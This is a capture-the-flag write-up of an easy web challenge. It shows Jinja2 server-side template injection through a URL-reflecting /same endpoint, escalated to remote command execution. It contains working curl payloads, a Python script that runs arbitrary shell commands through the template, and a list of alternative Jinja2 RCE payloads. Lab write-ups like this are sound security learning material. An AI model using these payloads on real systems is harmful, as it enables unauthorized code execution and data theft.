Странный сервер (Strange Server)
Странный сервер (Strange Server)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: RCE via url_for.globals['builtins']'import'.popen(), Server-Side Template Injection (SSTI) in Jinja2, URL reflection vulnerability detection
Summary
Task: Web application with URL reflection on /same page. Solution: Exploited Jinja2 SSTI vulnerability using url_for.globals to achieve RCE and read the flag.
Странный сервер (Strange Server) — hackerlab.pro
Description
"Мой друг увлекается разработкой и написал сайт, но как мне кажется сайт странно себя ведёт, по-моему где-то была допущена серьёзная ошибка..."
URL: http://192.169.2.100:16031
Analysis
1. Reconnaissance
The main page contains hints about available endpoints:
/hello_world/robot.txt/same
2. Vulnerability Discovery
The /same page displays the request URL in the response — this is a classic sign of a potential SSTI vulnerability.
3. SSTI Confirmation
Testing with a classic Jinja2 payload:
bash read-only • copy allowedcurl 'http://192.169.2.100:16031/same/%7B%7B7*7%7D%7D'
The response contains 49 instead of {{7*7}} — confirmation of Server-Side Template Injection in Jinja2.
4. Exploitation
Using the standard payload for RCE via url_for.__globals__:
{{url_for.__globals__['__builtins__']['__import__']('os').popen('cat /app/flag.txt').read()}}
Solution
Step-by-step payloads
bash read-only • copy allowed# 1. SSTI test curl 'http://192.169.2.100:16031/same/%7B%7B7*7%7D%7D' # Result: 49 # 2. RCE - read flag curl 'http://192.169.2.100:16031/same/%7B%7Burl_for.__globals__%5B%27__builtins__%27%5D%5B%27__import__%27%5D(%27os%27).popen(%27cat%20/app/flag.txt%27).read()%7D%7D'
URL-encoded payload
%7B%7Burl_for.__globals__%5B%27__builtins__%27%5D%5B%27__import__%27%5D(%27os%27).popen(%27cat%20/app/flag.txt%27).read()%7D%7D
Decoded:
{{url_for.__globals__['__builtins__']['__import__']('os').popen('cat /app/flag.txt').read()}}
Python script
python read-only • copy allowed#!/usr/bin/env python3 import requests from urllib.parse import quote BASE_URL = "http://192.169.2.100:16031" def ssti_exec(cmd): """Execute command via SSTI""" payload = f"{{{{url_for.__globals__['__builtins__']['__import__']('os').popen('{cmd}').read()}}}}" url = f"{BASE_URL}/same/{quote(payload)}" resp = requests.get(url) return resp.text # Test SSTI print(ssti_exec("id")) # Get flag print(ssti_exec("cat /app/flag.txt"))
Alternative SSTI payloads for Jinja2
python read-only • copy allowed# Via lipsum {{lipsum.__globals__["os"].popen("id").read()}} # Via config {{config.__class__.__init__.__globals__['os'].popen('id').read()}} # Via request {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} # Via cycler {{cycler.__init__.__globals__.os.popen('id').read()}} # MRO chain {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read()}}
Payload Explanation
url_for— built-in Flask function available in templates.__globals__— dictionary of module's global variables['__builtins__']— access to Python built-in functions['__import__']('os')— import the os module.popen('cmd')— execute shell command.read()— read the result
References
- PayloadsAllTheThings - SSTI
- HackTricks - Jinja2 SSTI